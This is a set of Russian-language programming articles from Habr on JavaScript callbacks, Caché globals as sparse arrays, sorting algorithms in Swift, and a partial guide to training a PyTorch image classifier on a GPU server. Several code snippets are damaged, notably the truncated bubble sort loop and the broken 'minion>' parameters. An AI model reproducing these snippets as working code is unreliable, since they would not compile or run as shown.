speakOrders ({name:"Minion1031", speciality:"Scribe"}, reportOrders);
// Console
// name: Minion1031
// speciality: Scribe
```
Теперь более сложные примеры! Строки 2 и 14 — это всего лишь объявление функций, так что перейдём к строке 20, где начинается вся движуха. Вызовем функцию `speakOrders` с двумя параметрами. Первый параметр — объект с состояниями, о которых вы хотите получать отчёты от своих миньонов. Второй параметр — коллбэк под названием `reportOrders`.
Ваш миньон не может выполнить `reportOrders` до тех пор, пока вы не дадите ему такой приказ. Именно так и выполняется эта функция. Вызовем `speakOrders` с инструкциями в строке 20. Перейдём на строку 14 и посмотрим, что же делает функция `speakOrders`. Очевидно, что она передаёт коллбэку свои инструкции.
В строке 20 функция `reportOrders` объявлена коллбэком, но им может быть кто угодно. `memorizeOrders`, `tellMySpouse`, вы можете дать функции любое имя. Использование в объявлении функции в строке 14 слова “callback” считается хорошим тоном, чтобы другие люди могли взглянуть на код и понять, что к чему. Но можно использовать и любое другое слово! Вот миньонифицированный пример:
```
// обобщённый тип (generic) reportOrders отражает ваши приказы для функции
function reportOrders (minionOrders) {
if ( typeof minionOrders === "string"){
console.log(minionOrders);
}
else if ( typeof minionOrders === "object"){
for (var item in minionOrders) {
console.log(item + ": " + minionOrders[item]);
}
}
}
// Функция получает два параметра, последний из которых — коллбэк
function speakOrders (orders, minion>) {
minion(orders);
}
// Когда мы вызываем функцию speakOrders, мы передаём reportOrders в качестве параметра.
// Так что reportOrders будет вызываемой обратно функцией (не исполняемой) внутри функции speakOrders
the speakOrders function
speakOrders ({name:"Minion1031", speciality:"Scribe"}, reportOrders);
// Console
// name: Minion1031
// speciality: Scribe
```
В обеих строках 14-15 присутствует лишь один миньон, заменяющий “callback”.
**Строка 20**: Вызовем `speakOrders`. Передадим именованный объект и назначение. Вторым параметром может быть что угодно — строковое, функция и т.п.
**Строка 14–15**: Определим, что в качестве второго параметра должен быть коллбэк, это minion(). При каждом вызове функции `speakOrders` мы будем знать, что второй параметр будет функцией. В нашем случае — `reportOrders`.
**Строка 15**: Из строки 20 мы знаем, что ваш миньон должен позаботиться о функции `reportOrders`. Он получает параметры приказа — объект. Ему нужны эти инструкции для успешного создания отчёта.
**Строка 2**: Переменная приказа из строки 15 теперь ссылается внутри функции как `minionOrders`. Выполнение функции `reportOrders` завершается, а имя и назначение передаются обратно.
Здесь коллбэки выполняют важную роль чёткого отслеживания пути, по которому должен проследовать объект. Без них код превратился бы в монолитную строго упорядоченную кучу, без какой-либо гибкости с точки зрения повторного использования функций или изменения порядка выполнения.
### Node.js
Взгляните на следующий пример, в котором используется [Express](http://expressjs.com/) и [модуль запроса](https://github.com/request/request). Пока что это самое трудное!
```
var request = require('request');
var app = require('express')();
var results;
function logRes(){
console.log(results);
}
app.get('/storeData', function(req,res){
readResult(logRes)
});
function readResult(callback){
request('http://someroute.com/api', function(err, response, body){
results=body;
callback();
});
}
```
Представим, что пользователь просто отправил запрос GET по маршруту `/storeData`. Начнём со строки 9. В этом примере используются все ранее рассмотренные варианты использования коллбэков.
1. В строке 9 есть в методе применяется коллбэк, аналогичный разобранному в примере про обработчика кликов в jQuery.
2. В строке 14 применяется асинхронное исполнение, связанное с запросом фальшивому API. Это из примера про анимацию в jQuery.
3. Наконец, в строке 13 объявляется коллбэк-параметр, аналогичный примеру с ванильным JS.
Чтобы не было недопонимания, вот миньонифицированный пример, в котором миньонам присвоены номера в соответствии с очерёдностью исполнения.
```
var request = require('request');
var app = require('express')();
var results;
function logRes(){
console.log(results);
}
app.get('/storeData', minion1>(req,res){
readResult(logRes)
});
function readResult(minion3){
request('http://someroute.com/api', minion2(err, response, body){
results=body;
minion3();
});
}
```
* **Строка 9**: Пользователь отправляется по маршруту. Вы босс, вы даёте приказы первому миньону. Тот отправляется в строку 10 и видит функцию `readResult`. Теперь, пока миньоны работают, вы можете ожидать других сигналов от пользователя.
* **Строка 14**: Первый миньон видит запрос, отправляет его фальшивому API и приказывает второму миньону ждать ответ. Теперь первый миньон может переходить к другой работе. А раз делать больше нечего, он уходит в отставку.
* **Строка 14**: Второй миньон начинает действовать по завершении запроса. Теперь у него есть три части потенциально важной информации: `err`, `response`, `body`.
* **Строка 15–16**: Глобальной переменной “results” присваивается значение body. Теперь эта переменная может использоваться в других функциях. Второй миньон говорит третьему, что пришла пора обработать инструкции, которые третий миньон получил из **строки 10**. Всё это время он ожидал их выполнения, и теперь пришла пора выполнить `logRes()`!
* **Строка 5**: А инструкции — это… console.log. Разочаровывает. В любом случае, третий миньон свою работу выполнил.
Так как же третий миньон был вызван после второго?
Если мы вернёмся в самое начало, к самому первому примеру, то увидим инициализацию коллбэка в строке 13. Это означает, что при каждому вызове функции `readResult()` должен иметься коллбэк-параметр. Позднее этот коллбэк применяется в строке 16, где он использует результат запроса к API из строки 14, потому что **у самого запроса есть коллбэк**!
Представим, что коллбэк (третий миньон) находился бы ниже 17 строки, за пределами области видимости запроса. В этом случае он был бы вторым миньоном, поскольку выполнялся бы до завершения запроса. При этом ответ на запрос ещё не был бы получен, что лишает смысла всю функцию. Суть в том, чтобы сначала выполнить запрос, а потом передать полученный ответ.
Ещё раз: использование в функции `readResult()` двух отдельных запросов позволяет удостовериться, что третий миньон начинает работать после выполнения запроса. Коллбэк предоставляет вам контроль, позволяющий отдать этот конкретный приказ.
### Заключение
Вы повелитель миньонов, под вашим началом орды пищащих маленьких слуг, готовых исполнить ваши желания. Если вы можете дать им верные инструкции, то они смогут существенно облегчить вашу жизнь, выполняя за вас всё самое трудное. | https://habr.com/ru/post/282015/ | null | ru | null |
# Глобалы — мечи-кладенцы для хранения данных. Разреженные массивы. Часть 3
В прошлых частях ([1](http://habrahabr.ru/company/intersystems/blog/263791/), [2](http://habrahabr.ru/company/intersystems/blog/264173/)) мы говорили о глобалах как о деревьях, в этой мы рассмотрим глобалы как разреженные массивы.
[Разреженный массив](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B5%D0%B6%D1%91%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BC%D0%B0%D1%81%D1%81%D0%B8%D0%B2) — это разновидность массива, в котором большинство значений принимает одинаковое значение.
На практике часто встречаются настолько огромные разреженные массивы, что нет никакого смысла занимать память одинаковыми элементами. Поэтому есть смысл разреженные массивы реализовывать так, чтобы память не расходовалась на хранение одинаковых значений.
В некоторых языках программирования разреженные массивы входят в сам язык, [например в J](http://www.jsoftware.com/help/dictionary/d211.htm), [MATLAB](http://www.mathworks.com/help/matlab/ref/sparse.html). В других языках программирования есть специальные библиотеки, которые позволяют реализовать их. Для С++ — [Eigen](http://eigen.tuxfamily.org/dox-devel/GettingStarted.html) и др.
Глобалы — хорошие кандидаты для реализации разреженных массивов, потому что:
1. Хранят значения только определённых узлов и не хранят значения неопределённых;
2. Интерфейс доступа к значению узла чрезвычайно похож на то, как во многих языках программирования реализован доступ к элементу многомерного массива.
```
Set ^a(1, 2, 3)=5
Write ^a(1, 2, 3)
```
3. Глобал — достаточно низкоуровневая структура для хранения данных, поэтому обладают выдающими скоростными характеристиками (от сотен тысяч до десятков миллионов транзакций в секунду в зависимости от железа, см. [1](http://habrahabr.ru/company/intersystems/blog/257501/))
> Поскольку глобал — персистентная структура, то разреженные массивы делать на них имеет смысл тогда, когда заранее известно, что объёма оперативной памяти будет недостаточно.
Одним из свойств реализаций разреженных массивов является возврат некоторого значения по-умолчанию, если обращение ведётся к неопределённой ячейке.
Это можно реализовать, используя функцию [$GET](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fget) в COS. В данном примере рассмотрен 3-х мерный массив.
```
SET a = $GET(^a(x,y,z), defValue)
```
В каких же задачах требуются разреженные массивы и как глобалы могут выручить?
Матрица смежности (связности)
-----------------------------
[Такие матрицы](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0_%D1%81%D0%BC%D0%B5%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8) используются для представления графов:
Очевидно, что чем больше граф, тем больше нулей будет в матрице. Если, например, взять граф социальной сети и представить его в виде подобной матрицы, то он почти весь будет состоять из нулей, т.е. будет разреженным массивом.
```
Set ^m(id1, id2) = 1
Set ^m(id1, id3) = 1
Set ^m(id1, id4) = 1
Set ^m(id1) = 3
Set ^m(id2, id4) = 1
Set ^m(id2, id5) = 1
Set ^m(id2) = 2
....
```
В данном примере мы сохраняем в глобале **^m** матрицу связности, а также число ребёр у каждого узла (кто с кем дружит и число друзей).
Если же число элементов в графе не более 29 миллионов (это число берётся как произведение 8 \* [максимальный размер строки](http://docs.intersystems.com/cache201512/csp/docbook/DocBook.UI.Page.cls?KEY=GORIENT_appx_limits_long_string)), то есть ещё более экономичный способ хранения таких матриц — битовые строки, так как в их реализации специальным образом оптимизируются большие пропуски.
Манипуляции с битовыми строками производятся функцией [$BIT](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fbit).
```
; установка бита
SET $BIT(rowID, positionID) = 1
; получение бита
Write $BIT(rowID, positionID)
```
Таблица переходов конечного автомата
------------------------------------
Поскольку граф переходов конечного автомата — это обыкновенный граф, то и таблица переходов конечного автомата — это та же самая матрица смежности, о которой говорилось выше.
Клеточные автоматы
------------------
Самый известный клеточный автомат — [игра «Жизнь»](https://ru.wikipedia.org/wiki/%D0%96%D0%B8%D0%B7%D0%BD%D1%8C_(%D0%B8%D0%B3%D1%80%D0%B0)), который из-за своих правил (когда у клетки много соседей — она умирает) представляет собой разреженный массив.
Стивен Вольфрам, считает что клеточные автоматы — это [новая область науки](https://ru.wikipedia.org/wiki/A_New_Kind_of_Science). В 2002 году он публикует 1280-страничную книгу «A New Kind of Science», где широко аргументирует, что достижения в области клеточных автоматов не являются изолированными, но весьма устойчивы и имеют большое значение для всех областей науки.
Доказано, что любой алгоритм выполнимый на компьютере можно реализовать посредством клеточного автомата. Клеточные автоматы используются для моделирования динамических сред и систем, для решений алгоритмических задач и других целей.
Если у нас огромное поле и нам нужно записывать все промежуточные состояния клеточного автомата, то вполне разумно использовать глобалы.
Картография
-----------
Первое что приходит мне на ум, когда речь идёт об использовании разреженных массивов — это картографические задачи.
Как правило на картах очень много пустого пространства. Если карту представлять в виде больших пикселов, то 71% пикселов Земли будет занято океаном. Разреженный массив. А если наносить только произведения рук человеческих, то пустого пространства будет более 95%.
Конечно, никто не хранит карты в виде растровых массивов, используется векторное представление.
Но что из себя представляют векторные карты? Это некая рамка и состоящие из точек полилинии и полигоны.
Фактически база данных точек и связей между ними.
Одна из самых амбициозных задач картирования — это миссия картирования нашей галактики телескопом Гайя. Образно говоря, наша галактика, как и вся вселенная есть сплошной разреженный массив: огромные пространства пустоты, в которых есть редкие маленькие точки — звёзды. Пустого места 99,999999.......%. Для хранения карты нашей галактики была выбрана база данных на глобалах — Caché.
Я не знаю точную структуру глобалов в этом проекте, могу предположить, что это что-то похожее на:
```
Set ^galaxy(b, l, d) = 1; Номер звезды по каталогу, если есть
Set ^galaxy(b, l, d, "name") = "Sun"
Set ^galaxy(b, l, d, "type") = "normal" ; варианты blackhole, quazar, red_dwarf и т.д.
Set ^galaxy(b, l, d, "weight") = 14E50
Set ^galaxy(b, l, d, "planetes") = 7
Set ^galaxy(b, l, d, "planetes", 1) = "Mercury"
Set ^galaxy(b, l, d, "planetes", 1, weight) = 1E20
...
```
*Где b, l, d — это [галактические координаты широта, долгота](https://ru.wiki2.org/wiki/Галактическая_система_координат) и расстояние до Солнца.*
Гибкая структура глобалов позволяет сохранить любые нужные характеристики звёзд и планет, так как базы на глобалах бессхемные (scheme-less).
Для хранения карты нашей вселенной Caché была выбрана не только из-за гибкости, но и из-за способности очень быстро сохранять поток данных, при этом попутно создавая индексные глобалы для быстрого поиска.
Если же вернуться к Земле, то на глобалах были созданы картографические проекты [OpenStreetMap XAPI](http://wiki.openstreetmap.org/wiki/Xapi) и форк OpenStreetMap — [FOSM](http://www.fosm.org/).
Недавно на [хакатоне Caché](http://habrahabr.ru/company/intersystems/blog/267459/) были реализованы геопространственные индексы [Geospatial](https://github.com/intersystems-ru/spatialindex). Ждём от авторов статьи с деталями реализации.
### Реализация пространственных индексов на глобале в OpenStreetMap XAPI
Картинки взяты из [этой презентации](http://www.slideshare.net/george.james/fosdem-2010-gtm-and-openstreetmap).
Весь земной шар разбивается на квадратики, потом подквадратики, а подквадратики на подподквадратики и так далее. В общем получаем иерархическую структуру для хранения которых и созданы глобалы.
В любой момент мы можем практически моментально затребовать нужный квадрат или его очистить, при этом все подквадратики также будут возвращены или очищены.
Подобную схему на глобалах можно реализовать несколькими способами.
Вариант 1:
```
Set ^m(a, b, a, c, d, a, b,c, d, a, b, a, c, d, a, b,c, d, a, 1) = idПервойТочки
Set ^m(a, b, a, c, d, a, b,c, d, a, b, a, c, d, a, b,c, d, a, 2) = idВторойТочки
...
```
Вариант 2:
```
Set ^m('abacdabcdabacdabcda', 1) = idПервойТочки
Set ^m('abacdabcdabacdabcda', 2) = idВторойТочки
...
```
В обоих случаях не составляет труда на COS/M затребовать точки находящиеся в квадрате любого уровня. Несколько легче будет очищать квадратные куски пространства любого уровня в первом варианте, но это редко нужно.
Пример одного из квадратиков нижнего уровня:
А вот несколько глобалов из проекта XAPI: представление индекса на глобалах:
Глобал **^way** используется для хранения точек [полилиний](https://en.wikipedia.org/wiki/Polygonal_chain) (дорог, мелких рек и т.п.) и полигонов (замкнутые области: здания, леса и т.д.).
Грубая классификация использования разреженных массивов на глобалах.
--------------------------------------------------------------------
1. Мы храним координаты неких объектов и их состояния (картирование, клеточные автоматы)
2. Мы храним разреженные матрицы.
Для случая 2) при запросе определённой координаты, где элементу не присвоено значение, мы должны получить значение элемента разреженного массива по умолчанию.
Бонусы, которые мы получаем при хранении многомерных матриц в глобалах
----------------------------------------------------------------------
**Быстрое удаление и/или выборки кусков пространства, кратных строкам, плоскостям, кубам и т.д.** Для случаев, когда используются целочисленные индексы, может оказаться полезной возможность быстрого удаления и/или выборки кусков пространства, кратных строкам, плоскостям, кубам и т.д.
Командой [Kill](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_ckill) мы можем удалить как отдельный элемент, так и строку, и даже целую плоскость. Благодаря свойствам глобалов, это происходит очень быстро — в тысячи раз быстрее, чем поэлементное удаление.
На рисунке показан трёхмерный массив в глобале **^a** и разные виды удалений.
Для выборки кусков пространства по известным индексам можно использовать команду [Merge](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_cmerge).
Выборка столбца матрицы в переменную Column:
```
; Зададим трёхмерный разреженный массив 3x3x3
Set ^a(0,0,0)=1,^a(2,2,0)=1,^a(2,0,1)=1,^a(0,2,1)=1,^a(2,2,2)=1,^a(2,1,2)=1
Merge Column = ^a(2,2)
; Выведем переменную Column
Zwrite Column
```
Вывод:
```
Column(0)=1
Column(2)=1
```
Что интересно в переменной Column у нас тоже получился разреженный массив, к которому обращаться нужно тоже через [$GET](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_fget), так как значения по умолчанию в нём не хранятся.
Выборка кусков пространства также может делаться через небольшую программу с использование функции [$Order](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_forder). Это в особенности удобно на пространствах, индексы которых неквантованы (картография).
Заключение
----------
Нынешние времена ставят новые амбициозные задачи. Графы могут состоять из миллиардов вершин, карты из миллиардов точек, а кто-то даже может захотеть запустить свою собственную вселенную на клеточных автоматах ([1](http://lenta.ru/news/2009/08/28/universe/), [2](http://www.worldscientific.com/worldscibooks/10.1142/4702)).
Когда объём данных разреженных массивов уже никак не может быть вмещён в оперативную память, а работать с ними нужно, то стоит рассмотреть возможность реализации подобных проектов на глобалах и COS.
Спасибо за внимание! Ждём ваших вопросов и пожеланий в комментариях.
**Disclaimer**: *данная статья и мои комментарии к ней является моим мнением и не имеют отношения к официальной позиции корпорации InterSystems.* | https://habr.com/ru/post/268465/ | null | ru | null |
# Алгоритмы сортировки в Swift
Что нужно знать начинающему разработчику на собеседовании
---------------------------------------------------------
Каков наиболее эффективный способ отсортировать миллион 32-битных пользователей Это частый вопрос на собеседовании в таких компаниях как Google. Чтобы ответить на него нам нужно применить алгоритм сортировки. Сегодня мы разберем три основные вида сортировок = Bubble sort (пузырьковая сортировка), Merge sort (сортировка слиянием) и Quick sort (быстрая сортировка). Благодаря этим знаниям мы легко сможем справится с вопросами и задачами по этой теме на интервью
Давайте начнем с самого простого из них - **Bubble sort**
Пузырьковая сортировка — это своего рода аккуратный алгоритм сортировки, потому что на самом деле он находит наибольшее число в массиве за несколько проходов и поднимает его в конец (заставляет его всплывать в пузыре).
Взгляните на картинку с примером. Дан не отсортированный массив с цифрами в обратном порядке (5,4,3,2,1). Давайте попробуем его отсортировать, чтобы цифры были по порядку (1,2,3,4,5), применим наш алгоритм и посмотрим, как он здесь работает.
Пошаговое описаниеМы начинаем с первого элемента (5), кладем его в пузырь и начинаем сравнивать его с оставшимися элементами, каждый раз мы сравниваем элемент со следующим и если он выше мы меняем его местами. Итак, 5 больше 4 поэтому меняем местами. Затем мы сравним пять с тремя. Пять больше, чем три поэтом меняем их местами и сравним пять с двумя. Пять больше двух - меняем. И, наконец, мы добираемся до самого последнего элемента. Пять больше, чем один, мы меняем местами и фиксируем эти пять в самом конце. И это один проход по массиву. Теперь мы можем гарантировать, что наибольшее число будет справа. Теперь мы просто повторяем процесс с оставшимися числами. И мы начинаем с начала.
Далее посмотрим, как это выглядит в коде
```
class BubbleSort {
func sort(_ array: [Int]) -> [Int] {
var arr = array
let n = arr.count
for i in 0.. arr[j+1] {
// меняем местами
let temp = arr[j]
arr[j] = arr[j+1]
arr[j+1] = temp
}
}
}
return arr
}
}
let bubbleSort = BubbleSort()
bubbleSort.sort([5, 4, 3, 2, 1])
```
Пузырьковая сортировка в коде, это два цикла for. У нас есть цикл for, который начинается с начала массива и фиксирует наш проход по нему. Затем у нас есть еще один указатель на J, который мы используем для сравнения двух последовательных чисел между собой. И если одно число больше другого, меняем местами. При замене мы временно копируем значения в переменные.
У нас получилось два вложенных цикла for - один внутри другого, а это значит, что оценка скорости алгоритма будет - **O(n2)**.
Более быстрая сортировка это - Merge sort
-----------------------------------------
Сортировка слиянием — это алгоритм «разделяй и властвуй», и он работает благодаря шагу слияния. На этом шаге нам просто нужно объединить два массива в один. Именно он на самом деле является сутью алгоритма. Давайте сначала изучим его, а затем посмотрим на остальную часть алгоритма.
Пошаговый разборШаг слияния работает таким образом, что он непрерывно объединяет два меньших отсортированных массива в один больший. Начиная слева, берем там меньший из двух элементов. Здесь мы сравниваем четыре с одним, где один меньше четырех, мы бы взяли один, а затем увеличиваем указатель вправо и повторяем сравнение. Теперь мы сравниваем четыре с тремя, три меньше, мы выводим тройку вниз, перемещаем указатель вправо, а теперь сравним четыре и девять. В данном случае четыре меньше. Мы переносим четверку вниз и увеличиваем указатель вправо. А теперь сравним семь и девять, семь меньше, поэтому мы опустим ее и увеличим указатель в массиве. Теперь сравним четырнадцать с девятью. Девять меньше, поэтому мы будем уменьшать его, пока, наконец, не останется 14 и 17, 14 меньше, и мы берем ее. И, наконец, у нас осталось только семнадцать.
Мы разобрали основной шаг алгоритма слияние, но прежде, чем выполнить его, сначала нужно взять этот массив и разбить его в определенный формат.
Давайте посмотрим, как теперь сортировка слиянием разбивает массив. Первый шаг алгоритма: разбитие массива на мелкие части одинакового размера , поэтому он берет каждый элемент этого массива и создает массив с этим элементом, в основном путем непрерывного деления на два, пока он не сократит его до наименьших элементов (отдельных чисел) в массиве.
Первый шаг, это фаза разделения. Затем мы только что рассмотрели вторую фазу, где берутся мельчайшие элементы или те отдельные элементов массива и непрерывно комбинирует их, используя этот алгоритм сортировки слиянием.И причина, по которой сортировка слиянием работает, конечно же, в том, что эти массивы постоянно отсортированы.
Один из простых способов запомнить характеристики сортировки слиянием во время выполнения — визуализировать то, что на самом деле происходит, когда мы запускаем алгоритм. Помните, когда мы запускаем этот алгоритм, мы постоянно рекурсивно делим массив на множество частей. Всякий раз, когда вы имеете рекурсивное деление пополам, знайте это – log n. Затем вторая часть алгоритма заключалась в том, что мы должны объединять их n количество раз. Поэтому, когда вы объединяете (log n) с n, получаем основное время выполнение сортировки слиянием - **O (n log n)**.
И наконец - **Quick Sort**
Быстрая сортировка — действительно аккуратный алгоритм, также он очень короткий: запомнив основные моменты, его легко написать «из головы»
У алгоритма всего три шага:
1. Выбрать элемент из массива. Назовём его опорным(pivot).
2. *Разбиение*: перераспределение элементов в массиве таким образом, что элементы, меньшие опорного, помещаются перед ним, а большие или равные - после.
3. Рекурсивно применить первые два шага к двум подмассивам слева и справа от опорного элемента. Рекурсия не применяется к массиву, в котором только один элемент или отсутствуют элементы.
Простым языком: вы выбираете что-то, называемое pivot, в любом месте вашего массива, лучше где-то в середине и вращаем числа вокруг этой опорной точки. После того, как мы проделаем это несколько раз, у нас останется два отсортированных массива из нашего основного. Все числа слева меньше, чем у опорной точки, а все числа справа больше. Может быть, вы видите, к чему все идет, потому что теперь мы можем просто снова применить тот же алгоритм, только к этим двум отдельным массивам, и повторить процесс. И мы просто продолжаем делать это и делать это, пока все числа в алгоритме не будут отсортированы.
Давайте посмотрим на пример.
Взглянем как это выглядит в коде:
```
func quicksort(\_ a: [T]) -> [T] {
guard a.count > 1 else { return a }
let pivot = a[a.count/2]
let less = a.filter { $0 < pivot }
let equal = a.filter { $0 == pivot }
let greater = a.filter { $0 > pivot }
return quicksort(less) + equal + quicksort(greater)
}
let list = [ 10, 0, 3, 9, 2, 14, 8, 27, 1, 5, 8, -1, 26 ]
quicksort(list)
```
Еще больше примеров [тут](https://github.com/raywenderlich/swift-algorithm-club/blob/master/Quicksort/Quicksort.swift)
Время выполнения для быстрой сортировки равно O(n log n), как и для сортировки слиянием, но это более быстрый алгоритм, чем сортировка слиянием. Это самый быстрый из трех. Пусть это будет ключевой вывод в этой статье. Пузырьковая сортировка самая медленная, сортировка слиянием вторая и первое место - быстрая сортировка.
И если у вас возникли проблемы с запоминанием времени выполнения быстрой сортировки, просто помните, что мы постоянно уменьшаем вдвое это, что даст нам нашу характеристику log 2 n. Мы делаем это n раз. Вот почему это операция **O (n log n)**.
Вот и все, друзья, вы только что покорили и только что прошлись по всем основным алгоритмам сортировки. | https://habr.com/ru/post/692928/ | null | ru | null |
# Ваша первая нейронная сеть на графическом процессоре (GPU). Руководство для начинающих
В этой статье я расскажу как за 30 минут настроить среду для машинного обучения, создать нейронную сеть для распознавания изображений a потом запустить ту же сеть на графическом процессоре (GPU).
Для начала определим что такое нейронная сеть.
В нашем случае это математическая модель, а также её программное или аппаратное воплощение, построенная по принципу организации и функционирования биологических нейронных сетей — сетей нервных клеток живого организма. Это понятие возникло при изучении процессов, протекающих в мозге, и при попытке смоделировать эти процессы.
Нейронные сети не программируются в привычном смысле этого слова, они обучаются. Возможность обучения — одно из главных преимуществ нейронных сетей перед традиционными алгоритмами. Технически обучение заключается в нахождении коэффициентов связей между нейронами. В процессе обучения нейронная сеть способна выявлять сложные зависимости между входными данными и выходными, а также выполнять обобщение.
С точки зрения машинного обучения, нейронная сеть представляет собой частный случай методов распознавания образов, дискриминантного анализа, методов кластеризации и прочих методов.
Оборудование
------------
Сначала разберемся с оборудованием. Нам необходим сервер с установленной на нем операционной системой Linux. Оборудование для работы систем машинного обучения требуется достаточно мощное и как следствие дорогое. Тем, у кого нет под рукой хорошей машины, рекомендую обратить внимание на предложение облачных провайдеров. Необходимый сервер можно получить в аренду быстро и платить только за время использования.
В проектах, где необходимо создание нейронных сетей я использую сервера одного из российских облачных провайдеров. Компания предлагает в аренду облачные серверы специально для машинного обучения с мощными графическими процессорами (GPU) Tesla V100 от компании NVIDIA. Если коротко: использование сервера с GPU может быть в десятки раз быть более эффективным (быстрым) по сравнению с аналогичным по стоимости сервером где для вычислений используется CPU (всем хорошо знакомый центральный процессор). Это достигается за счет особенностей архитектуры GPU, которая быстрее справляется с расчетами.
Для выполнения примеров описанных далее, мы приобрели на несколько дней такой сервер:
* SSD диск 150 ГБ
* ОЗУ 32 ГБ
* Процессор Tesla V100 16 Gb с 4-мя ядрами
На машину нам установили Ubuntu 18.04.
Устанавливаем окружение
-----------------------
Теперь установим на сервер все необходимое для работы. Поскольку наша статья в первую очередь для начинающих, буду рассказывать в ней о некоторых моментах, которые пригодятся именно им.
Очень много работы при настройке среды выполняется через командную строку. Большинство из пользователей в качестве рабочей ОС используют Windows. Стандартная консоль в этой ОС оставляет желать лучшего. Поэтому мы будем использовать удобный инструмент [Cmder/](https://cmder.net/). Скачиваем mini версию и запускаем Cmder.exe. Далее необходимо подключится к серверу по протоколу SSH:
```
ssh root@server-ip-or-hostname
```
Вместо server-ip-or-hostname указываете IP адрес или DNS имя вашего сервера. Далее вводим пароль и при успешном подключении мы должны получить примерно такое сообщение.
```
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-74-generic x86_64)
```
Основным языком для разработки ML моделей является Python. А наиболее популярной платформой для его использование по Linux является [Anaconda](https://www.anaconda.com/distribution/).
Установим ее на наш сервер.
Начинаем с обновления локального менеджера пакетов:
```
sudo apt-get update
```
Устанавливаем curl (служебная программа командной строки):
```
sudo apt-get install curl
```
Скачиваем последнюю версию Anaconda Distribution:
```
cd /tmp
curl –O https://repo.anaconda.com/archive/Anaconda3-2019.10-Linux-x86_64.sh
```
Запускаем установку:
```
bash Anaconda3-2019.10-Linux-x86_64.sh
```
В процессе установки необходимо будет подтвердить лицензионное соглашение. При успешной установке вы должны будете увидеть это:
```
Thank you for installing Anaconda3!
```
Для разработки ML моделей сейчас создано множество фреймворков, мы работаем с наиболее популярными: [PyTorch](https://pytorch.org/) и [Tensorflow](https://www.tensorflow.org).
Использование фреймворка позволяет увеличить скорость разработки и использовать уже готовые инструменты для стандартных задач.
В этом примере будем работать с PyTorch. Установим его:
```
conda install pytorch torchvision cudatoolkit=10.1 -c pytorch
```
Теперь нам необходимо запустить Jupyter Notebook — популярный у ML специалистов инструмент разработки. Он позволяет писать код и сразу видеть результаты его выполнения. Jupyter Notebook входит в состав Anaconda и уже установлен на нашем сервере. Необходимо подключится к нему из нашей настольной системе.
Для этого мы сначала запустим Jupyter на сервере указав порт 8080:
```
jupyter notebook --no-browser --port=8080 --allow-root
```
Далее открыв в нашей консоли Cmder еще одну вкладку (верхнее меню — New console dialog) подключимся по порту 8080 к серверу через SSH:
```
ssh -L 8080:localhost:8080 root@server-ip-or-hostname
```
При вводе первой команды нам будет предложены ссылки для открытия Jupyter в нашем браузере:
```
To access the notebook, open this file in a browser:
file:///root/.local/share/jupyter/runtime/nbserver-18788-open.html
Or copy and paste one of these URLs:
http://localhost:8080/?token=cca0bd0b30857821194b9018a5394a4ed2322236f116d311
or http://127.0.0.1:8080/?token=cca0bd0b30857821194b9018a5394a4ed2322236f116d311
```
Воспользуемся ссылкой для localhost:8080. Скопируйте полный путь и вставьте в адресную строку локального браузера вашего ПК. Откроется Jupyter Notebook.
Создадим новый ноутбук: New — Notebook — Python 3.
Проверим корректную работу всех компонентов которые мы установили. Введем в Jupyter пример кода PyTorch и запустим выполнение (кнопка Run):
```
from __future__ import print_function
import torch
x = torch.rand(5, 3)
print(x)
```
Результат должен быть примерно таким:
Если у вас аналогичный результат — значит мы все настроили правильно и можем приступать к разработке нейронной сети!
Создаем нейронную сеть
----------------------
Будем создавать нейронную сеть для распознавания изображений. За основу возьмем данное [руководство](https://pytorch.org/tutorials/beginner/deep_learning_60min_blitz.html).
Для тренировки сети мы будем использовать общедоступный набор данных CIFAR10. У него есть классы: «самолет», «автомобиль», «птица», «кошка», «олень», «собака», «лягушка», «лошадь», «корабль», «грузовик». Изображения в CIFAR10 имеют размер 3x32x32, то есть 3-канальные цветные изображения размером 32x32 пикселей.
Для работы мы будем использовать созданный PyTorch пакет для работы с изображениями — torchvision.
Мы сделаем следующие шаги по порядку:
* Загрузка и нормализация наборов обучающих и тестовых данных
* Определение нейронной сети
* Тренировка сети на тренировочных данных
* Тестирование сети на тестовых данных
* Повторим тренировку и тестирование с использованием GPU
Весь приведенный ниже код мы будем выполнять в Jupyter Notebook.
### Загрузка и нормализация CIFAR10
Скопируйте и выполните в Jupyter следующий код:
```
import torch
import torchvision
import torchvision.transforms as transforms
transform = transforms.Compose(
[transforms.ToTensor(),
transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])
trainset = torchvision.datasets.CIFAR10(root='./data', train=True,
download=True, transform=transform)
trainloader = torch.utils.data.DataLoader(trainset, batch_size=4,
shuffle=True, num_workers=2)
testset = torchvision.datasets.CIFAR10(root='./data', train=False,
download=True, transform=transform)
testloader = torch.utils.data.DataLoader(testset, batch_size=4,
shuffle=False, num_workers=2)
classes = ('plane', 'car', 'bird', 'cat',
'deer', 'dog', 'frog', 'horse', 'ship', 'truck')
```
Ответ должен быть такой:
```
Downloading https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz to ./data/cifar-10-python.tar.gz
Extracting ./data/cifar-10-python.tar.gz to ./data
Files already downloaded and verified
```
Выведем несколько тренировочных образов для проверки:
```
import matplotlib.pyplot as plt
import numpy as np
# functions to show an image
def imshow(img):
img = img / 2 + 0.5 # unnormalize
npimg = img.numpy()
plt.imshow(np.transpose(npimg, (1, 2, 0)))
plt.show()
# get some random training images
dataiter = iter(trainloader)
images, labels = dataiter.next()
# show images
imshow(torchvision.utils.make_grid(images))
# print labels
print(' '.join('%5s' % classes[labels[j]] for j in range(4)))
```
### Определение нейронной сети
